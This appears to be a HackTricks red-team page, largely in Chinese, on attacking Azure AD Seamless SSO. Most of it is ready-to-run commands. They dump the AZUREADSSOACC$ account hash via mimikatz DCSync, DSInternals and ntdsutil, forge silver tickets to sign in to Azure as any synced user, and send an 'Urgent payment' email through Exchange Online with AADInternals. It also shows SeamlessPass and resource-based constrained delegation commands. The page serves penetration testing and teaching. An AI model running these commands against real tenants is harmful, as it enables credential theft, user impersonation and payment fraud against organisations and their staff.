Az - Seamless SSO

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Basic Information

From the docs: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) 自动在用户使用连接到公司网络的公司设备时自动登录。启用后，用户无需输入密码即可登录 Azure AD，通常甚至无需输入用户名。此功能为用户提供了轻松访问基于云的应用程序的方式，而无需任何额外的本地组件。

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

基本上，Azure AD Seamless SSO 在用户 在本地域加入的 PC 上 自动登录。

它支持 PHS (密码哈希同步) 和 PTA (透传身份验证)。

桌面 SSO 使用 Kerberos 进行身份验证。配置后，Azure AD Connect 在本地 AD 中创建一个名为 AZUREADSSOACC$ 的 计算机帐户。AZUREADSSOACC$ 帐户的密码在配置期间以明文形式发送到 Azure AD。

Kerberos 票证使用密码的 NTHash (MD4) 进行 加密，Azure AD 使用发送的密码解密票证。

Azure AD 暴露一个 端点 (https://autologon.microsoftazuread-sso.com)，接受 Kerberos 票证。域加入机器的浏览器将票证转发到此端点以实现 SSO。

On-prem -> cloud

用户 AZUREADSSOACC$ 的密码 从不更改。因此，域管理员可以破解该 帐户的哈希，然后使用它来 创建银票 以连接到 Azure，使用 任何已同步的本地用户：

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

使用该哈希值，您现在可以生成银票：

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "[e-mail]" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

要利用银票，应执行以下步骤：

1. 启动浏览器： 应启动Mozilla Firefox。

2. 配置浏览器：

• 导航到 about:config。

• 将 network.negotiate-auth.trusted-uris 的首选项设置为指定的 值：

• https://aadg.windows.net.nsatc.net

• https://autologon.microsoftazuread-sso.com

1. 访问Web应用程序：

• 访问与组织的AAD域集成的Web应用程序。一个常见的例子是 Office 365。

1. 身份验证过程：

• 在登录屏幕上，应输入用户名，密码字段留空。

• 要继续，请按TAB或ENTER。

这不会绕过启用的MFA

选项2，无需dcsync - SeamlessPass

也可以执行此攻击 而不进行dcsync攻击，以更隐蔽，如 在这篇博客文章中解释。为此，您只需以下之一：

• 被攻陷用户的TGT： 即使您没有，但用户被攻陷，您也可以使用许多工具中实现的假TGT委派技巧获取一个，例如 Kekeo 和 Rubeus。

• 黄金票证：如果您拥有KRBTGT密钥，您可以为被攻击用户创建所需的TGT。

• 被攻陷用户的NTLM哈希或AES密钥： SeamlessPass将使用此信息与域控制器通信以生成TGT。

• AZUREADSSOACC$账户NTLM哈希或AES密钥： 使用此信息和用户的安全标识符（SID）进行攻击，可以创建服务票证并与云进行身份验证（如前面的方法所示）。

最后，使用TGT可以使用工具 SeamlessPass 进行：

seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>

有关将 Firefox 设置为与无缝 SSO 一起使用的更多信息，可以在 此博客文章中找到。

为仅云用户创建 Kerberos 票证

如果 Active Directory 管理员可以访问 Azure AD Connect，他们可以 为任何云用户设置 SID。这样，Kerberos 票证也可以 为仅云用户创建。唯一的要求是 SID 是一个合适的 SID。

更改仅云管理员用户的 SID 现在已被 微软阻止。 有关信息，请查看 https://aadinternals.com/post/on-prem_admin/

本地 -> 云通过基于资源的受限委派

任何可以管理计算机帐户 (AZUREADSSOACC$) 的人，在该帐户所在的容器或 OU 中，都可以 配置基于资源的受限委派并访问它。

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

参考文献

• https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso

• https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/

• https://aadinternals.com/post/on-prem_admin/

• TR19: 我在你的云中，阅读每个人的电子邮件 - 通过 Active Directory 黑客攻击 Azure AD

学习和实践 AWS 黑客攻击：HackTricks 培训 AWS 红队专家 (ARTE) 学习和实践 GCP 黑客攻击：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

• 查看 订阅计划!

• 加入 💬 Discord 群组 或 电报群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.

• 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享黑客技巧。